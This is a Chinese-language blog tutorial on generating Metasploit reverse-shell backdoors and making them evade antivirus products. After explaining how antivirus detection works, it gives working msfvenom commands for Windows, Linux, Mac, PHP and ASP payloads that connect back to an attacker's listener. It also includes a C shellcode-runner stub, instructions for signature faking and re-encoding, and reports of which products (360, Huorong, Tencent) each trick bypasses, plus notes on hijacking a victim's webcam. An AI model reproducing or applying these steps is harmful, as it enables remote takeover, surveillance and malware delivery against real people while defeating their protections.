渗透测试工具 - msf生成后门免杀
文章目录
免杀
免杀,也就是反病毒与反间谍的对立面,英文为Anti-AntiVirus【简写Virus AV】,逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
杀毒软件检测方式
- 特征代码法:“同一病毒或同类病毒的某一部分代码相同”的原理来识别病毒文件。该技术是利用留在受感染文件中的病毒特征值进行检测。发现新病毒后,对其进行分析,根据其特征编成病毒码,加入到数据库中。今后在执行查毒程序时,通过对比文件与病毒数据库中的病毒特征码,检查文件是否含有病毒。
- 校验和法:此法计算文件的校验和并保存,可定期或调用文件时进行对比,从而判断文件是否被病毒感染。
- 行为监测法:此法根据病毒的行为特征来识别病毒,这需要对病毒行为进行详细的分类和研究,分析那些病毒共同的行为,以及正常程序的罕见行为,根据程序运行时的行为进行病毒判断和预警。
- 软件模拟法:这种方法通过模拟病毒运行的方式来检测病毒特征。
杀毒软件主动防御
HIPS(主机入侵防御系统),常说的安全防护就是HIPS,其实就是杀毒软件会监控进程、流量,再和病毒库匹配,以及对不认识的文件上传到服务器进行模拟运行,研判是否是病毒,然后指导杀毒软件进行行为监控或者处理。
免杀技术
修改特征码【最初的方式】
-
免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。【特征码:能识别一个程序是病毒的一段不大于64字节的特征串】
-
如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。所以如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。
-
修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,但有时候在没有源码的情况下可以一用。
花指令免杀【使用较多】
-
花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
-
大多数反病毒软件是靠特征码来判断文件是否有毒的,而为了提高精度,现在的特征码都是在一定偏移量限制之内的,否则会对反病毒软件的效率产生严重的影响!而在黑客们为一个程序添加一段花指令之后,程序的部分偏移会受到影响,如果反病毒软件不能识别这段花指令,那么它检测特征码的偏移量会整体位移一段位置,自然也就无法正常检测木马了。
内存免杀【使用较少】
-
CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。 -
因为杀毒软件的内存扫描原理与硬盘上的文件扫描原理都是一样的,都是通过特征码比对的,只不过为了制造迷惑性,大多数反病毒公司的内存扫描与文件扫描采用的不是同一套特征码,这就导致了一个病毒木马同时拥有两套特征码,必须要将它们全部破坏掉才能躲过反病毒软件的查杀。
-
因此,除了加壳外,黑客们对抗反病毒软件的基本思路没变。而对于加壳,只要加一个会混淆程序原有代码的“猛”壳,其实还是能躲过杀毒软件的查杀的。
加壳免杀【使用较多】
-
说起软件加壳,简单地说,软件加壳其实也可以称为软件加密(或软件压缩)或者绑定其他的软件,只是加密(或压缩)的方式与目的不一样罢了。壳就是软件的所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。
-
当我们运行这个加壳程序时,系统首先会运行程序的“壳”,然后由壳将加密的程序逐步还原到内存中,最后运行程序。这样一来,在我们看来,似乎加壳之后的程序并没有什么变化,然而它却达到了加密的目的,这就是壳的作用。
-
加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如
VMP,Themida等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,有的常见版本的壳会被直接脱掉分析。 -
面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。
-
总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的
PE文件,通过加壳可以绕过很多特征码识别。
二次编译
-
metasploit的msfvenom【msfpayload+msfencoder】提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大遍历,但是也被各大厂商盯得死死的。而shikata_ga_nai是msf中唯一的评价是excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样,导致自己都有可能不认识自己。 -
还可以利用管道进行多重编码进行免杀。
-
目前
msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。
资源修改
-
有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。
-
加资源:使用
ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件木马中,如图片,版本信息,对话框等。 -
替换资源:使用
ResHacker替换无用的资源(Version等)。 -
加签名:使用签名伪造工具,将正常软件的签名信息加入到自己软件木马中。
msf常用命令


-f :指定文件类型

-e: 加载编码器
msfvenom -l endoeder

msfvenom -l platforms:查看支持攻击的操作系统

生成一个常见木马
windows:当前操作系统
meterpreter:后渗透工具
reverse_tcp:反向连接、tcp协议【不确定对方开启什么服务】
-p: 指定payload模块
-e: 指定编码器
-i:指定编码次数
-f:指定文件类型
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i
5 lhost=192.168.xx.xxx lport=1250 -f exe > shell.exe

不指定生成位置,默认根目录

将生成的木马发给目标主机,首先需要开启监听
msfconcole 进入msf模块

使用其中的监听模块,默认帮助我们生成一个payload
use exploit/multi/handler

设置payload
set payload windows/meterpreter/reverse_tcp

查看可以设置什么
options

设置与木马相对应的IP以及端口号

点击运行shell.exe,即可弹出metepreter会话。
在metepreter会话中,?查看可以获取什么,getuid查看当前权限,run VNC远程只能看屏幕不能操作,webcam_list查看摄像头列表,webcam_stream开启摄像头弹出网页。
常见后门生成方式
- Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
Msfvenom –platform windows –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
- Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f elf > shell.elf
- MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f macho > shell.macho
- PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.153.138 LPORT =1520 -f raw > shell.php
- Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f asp > shell.asp
- Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
生成后门文件绕过360检测
- 安装编译软件
VC++6.0

- 生成木马后门
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai
-i 15 -b '\x00' lhost=192.168.xx.xxx lport=1250 -f c ##生成c的编码shellcode
-b 规避特殊字符

- 编译
c语言为exe文件
#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(这里放生成好的数组shellcode)
main()
{
((void(*)(void))&buf)();
}
新建一个gyy工程,重新组建编译,点击Stdafx.cpp文件,再点击组件编译头文件Stdafx.cpp,在弹出的对话框中点击运行程序,查看有无报错;无报错后再次编译上面放好数组的gyy.cpp文件,运行程序,查看有无报错;最后将两个cpp文件组件编译在一起,直接点击组件编译,运行程序即可,最终生成的exe程序在gyy/debug目录下。
- 测试是否成功【火绒绕不过,可以绕过
360和电脑管家】

- 绕不过其他的杀毒软件可以采用在
cpp文件下添加垃圾指令,在工程下新建一个资源脚本,再次组件编译等等。
msf反杀模块
metasploit升级到了5.0,引入了一个新的模块叫Evasion模块,官方宣称这个模块可以创建反杀毒软件的木马
evasion有以下几个模块,可以使用show evasion进行查看。

- 如使用模块5,使用命令
use windows/windows_defender_ex、options、run等;

其中生成的木马可以绕过腾讯管家,360和火绒绕不过去
- 用另外一个
evasion模块windows/windows_defender_js_hta


打开杀软,360/火绒/腾讯管家都可以绕过。
shellcode加载器绕过
hellcode加载器是枪,shellcode是子弹,二者缺一个都无法使用。
- 生成
shellcode
首先用Msfvenom生成raw格式的shellcode,当前使用了shikata_ga_nai编码模块
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai
-i 6 -b '\x00' lhost=10.211.55.2 lport=1234 -f raw -o shellcode.raw
- 将生成的
raw文件作为子弹放入枪中,即shellcode编码器,使用cmd命令行放,执行shellcode_launcher加载器
shellcode_launcher.exe -i shellcode.raw

-
绕过
360
因为shellcode_launcher项目,源码给的不仅有shellcode_launcher.exe,还有源代码,因此在这里尝试使用作者的源代码自主打包编译测试下,使用vs2012打开源代码文件。在这里不做任何的修改,直接编译文件:


或者修改文件名字
shellcode加载器:crow_test_av.exe,shellcode:crow_test_av.raw -
免杀火绒
在当前环境中,使用如下方式进行替换关键字特征,将shellcode_launcher替换为hello_crow:

或者将下面的代码直接注释或删除

再次进行编译即可绕过火绒。
生成后门文件绕过腾讯管家检测
- 编译
c语言为exe文件
#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(这里放生成好的数组shellcode)
main()
{
((void(*)(void))&buf)();
}
使用上面的方法发现绕不过去

- 添加图标进行绕过测试

更多推荐
所有评论(0)